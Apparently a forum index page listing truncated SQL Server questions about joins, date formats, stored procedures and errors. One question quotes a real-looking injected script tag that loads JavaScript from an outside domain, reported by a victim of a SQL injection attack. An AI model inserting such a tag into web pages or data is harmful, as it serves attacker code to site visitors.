What's wrong with this query? I am linking 2 tables on their key field and need to update 1 based on a field value in the other.
UPDATE Table1
INNER JOIN Table2
ON Table1.ID = Table2.I...
Hi! I created the following code in a stored procedure in SQL Server 2000. It works okay if the values I'm converting don't go above the precision and scale for the field. If there are more ...
In vb I can format a date with Format(fld,'ddd mmm d') which returns
Wed Feb 5
for example.
I need to do the same thing for a view in SQL Server, return the date in the format like, Tue A...
hi
Can anyone give me an example of creating a variable to select the first day and last day of each month please?
Adam
I have a table that we'll call TI. In TI are fields
recid Po. Co.Num
01 16 4521
02 17 4632
03 18 9854
Also this table joins to...
I need to a Select Data from tables accessable via ODBC DSN and bring the result set/DataReader in SQL Server Via CLR Stored Procedure. So I wrote C# Program to create CLR Procdure for that.
...
I am working on a stored procedure that has about 10 nested IF statements, not my doing. The only problem is I am trying to follow the Logic and I can't remember if the ELSE part of the IF sta...
I have a database And want to show all of the triggers for the tables how would I do that
Please help - I keep getting hit with the sql injection script - <script src=http://www.dota11.cn/m.js></script>. It's different every time, but they cut off field info with this script and i...
Hello:
I'd like to create a stored procedure that does the following:
Updates 1 field in 1 table with info from another table in another database based on 1 criterion.
example:
select * ...
I have a column in the data source for my report that will be containing multiple items. In the cell that displays them, I would like each to be on a new line. I've tried (in the data source...
Using MSSQL 2003. I need to copy all records from 'table1' where field value 'todaysdate' = (the current day) to 'table2'. I would like to schedule this to occur every night @ 11pm. How could ...
Hi experts:
Does anybody know if MS SQL Server contains a tool to create a Data Dictionary for a database, or if not then is there a good cheap tool that will create a data dictionary on a ...
Hi Experts,
I would like to query a table on another Sql Server within our system.
Similar to this post here...
http://www.experts-exchange.com/Database/MySQL/Q_22458554.html
I am us...
Hi,
I am trying to convert a SAS script to T-SQL but somehow SQL SERVER 2000 doesnt accept except statement. Is there a better way to get the script to work in T-SQL. SAS Script attached...
Can someone tell me how to remove sql injections?
Is banner82 one?
see www.moviecues.com
click on search for sonts and watch
READ FIRST: I already have a date table, just call it "tblDates". How do fill in the dates with the same data as the previous record unitl it changes?
I have events for employees in a tabl...
My scenario is like this:
Upstream server [U] --> Regional servers [R] --> Local server [L] (3 different servers)
regarding permissions:
I have select permissions on [U] and execute permiss...
I'm trying to update one column of a table with the following query:
UPDATE Utable
Set Amt =
(SELECT
Sum(Amt)
FROM Ptable
WHERE ID IN
(SELECT ID FROM UTab...
I tried both CAST and CONVERT for the given example and throwing me "Error converting data type varchar to float."
The IsNumeric('1,234.01') return 1
An anonymous session connected from LOCALHOST has attempted to open an LSA policy handle on this machine. The attempt was rejected with STATUS_ACCESS_DENIED to prevent leaking security sensiti...
Hi Experts,
I am in the process of creating a query in SQL Server Mgt. Studio ( SQL Server 2005 ). I am trying to compare accounts gathered from certain criteria for the current month and ...
After trawling various websites for a good hour, I am still none the wiser as to the upgrade license cost for upgrading SQL 2000 to SQL 2005. Currently, I have a DB fail-over cluster, single C...
We recerived following error message on SQL Server.
"SqlDumpExceptionHandler: Process 83 generated fatal exception c0000005 EXCEPTION_ACCESS_VIOLATION. SQL Server is terminating this proces...
I have the following stored procedure (see code snippet) , which returns mutiple datasets, because I would like to use it in Reporting Services I need to combine the result sets into only one...
